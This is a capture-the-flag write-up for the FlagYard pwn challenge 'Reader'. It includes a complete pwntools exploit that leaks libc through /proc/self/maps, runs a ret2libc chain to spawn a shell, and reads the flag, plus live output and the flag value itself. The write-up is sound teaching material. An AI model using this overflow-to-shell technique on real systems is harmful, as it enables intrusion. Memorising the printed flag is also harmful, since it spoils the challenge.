Back to writeups
FlagYardpwnEasysolved

Reader

12 Jul 2026 · by 0xIDA

Solvers

Reader

Author: 0xIDA
Platform: FlagYard · Category: pwn · Difficulty: Easy

Solvers

Summary

Easy PIE binary with an intentional file-reader and a stack buffer overflow. The path filter blocks any path containing flag, so leak libc via /proc/self/maps, then ret2libc for a shell and read /app/flag.

Challenge Description

try to read the flag.

  • Protocol: TCP (tcp.flagyard.com:<port>)
  • Files: reader, libc.so.6 (Ubuntu GLIBC 2.39)
  • Protections: Partial RELRO, no canary, NX, PIE, not stripped
  • Symbols: main, setup, empty win

Reconnaissance

checksec --file=reader
# Partial RELRO | No canary | NX | PIE

strings reader
# "give me file to read: "
# "can't read this file "
# "can't open this file "
# "flag"  (filter string)

main logic (decompiled):

  1. setup() — unbuffered stdio
  2. Loop: printf("give me file to read: ")
  3. read(0, buf, 0x100) into stack buffer at rbp-0x70 (overflow: 256 into 112)
  4. strcspn strip newline → strstr(path, "flag") reject
  5. fopen(path, "r") then fgetc/putchar dump, then loop again
  6. On filter/open failure: leave; ret — controlled RIP

Offset to RIP: 0x70 + 8 = 0x78.

Vulnerability Analysis

IssueDetail
Stack BOFread(0, buf, 0x100) vs 0x70-byte buffer; no canary
Arbitrary file readAny path not containing substring flag
FilterCase-sensitive strstr(..., "flag") blocks /flag, ./flag, etc.
winEmpty stub — not useful

Attack chain:

  1. Read /proc/self/maps (no flag in path) → libc base
  2. Overflow invalid path → fail fopen → return into ROP
  3. system("/bin/sh") via provided libc gadgets

Exploitation

#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./reader", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

io = remote("tcp.flagyard.com", 24094)  # instance port

io.recvuntil(b"read: ")
io.sendline(b"/proc/self/maps")
maps = io.recvuntil(b"give me file to read: ").decode(errors="replace")

libc_base = None
for line in maps.splitlines():
    if "-" not in line[:20]:
        continue
    parts = line.split()
    try:
        start = int(parts[0].split("-")[0], 16)
        off = int(parts[2], 16)
    except Exception:
        continue
    path = parts[-1] if len(parts) >= 6 else ""
    if "libc" in path and libc_base is None:
        libc_base = start - off

rop = ROP(libc)
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
retg = libc_base + rop.find_gadget(["ret"]).address
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b"/bin/sh"))

payload = flat({0x78: [retg, pop_rdi, binsh, system]})
io.sendline(payload)
io.sendline(b"cat /app/flag")
print(io.recvall(timeout=2))

Live remote output (abridged)

libc @ 0x7f2ba1800000
...
PWNED
uid=1000(ubuntu) gid=1000(ubuntu)
-rw-r--r-- 1 nobody nogroup 40 ... flag
FlagY{697f54b8dcf4dcb165303b6757fea8ff}

Submit: Success (isSuccess: true, Flagyard API).

Flag Retrieval

Shell after ret2libc; flag on disk at /app/flag (path blocked by filter if opened through the intended reader).

FlagY{697f54b8dcf4dcb165303b6757fea8ff}

Key Takeaways

  1. Intentional "read any file" + blocked keyword → use /proc/self/maps for ASLR bypass, not path filter tricks alone.
  2. Overflow on the error path (fopen fail / filter) is enough when the happy path loops forever.
  3. Always use the handout libc offsets for remote; host libc often differs.
  4. Extra ret for 16-byte stack alignment before system on modern glibc.

Tools Used

  • pwntools (process/remote, ELF, ROP)
  • checksec, objdump, readelf, strings
  • Flagyard MCP (submit)

Files

  • Challenge binary + handout libc (not redistributed)
  • Solver: published on R2 (see Solvers above)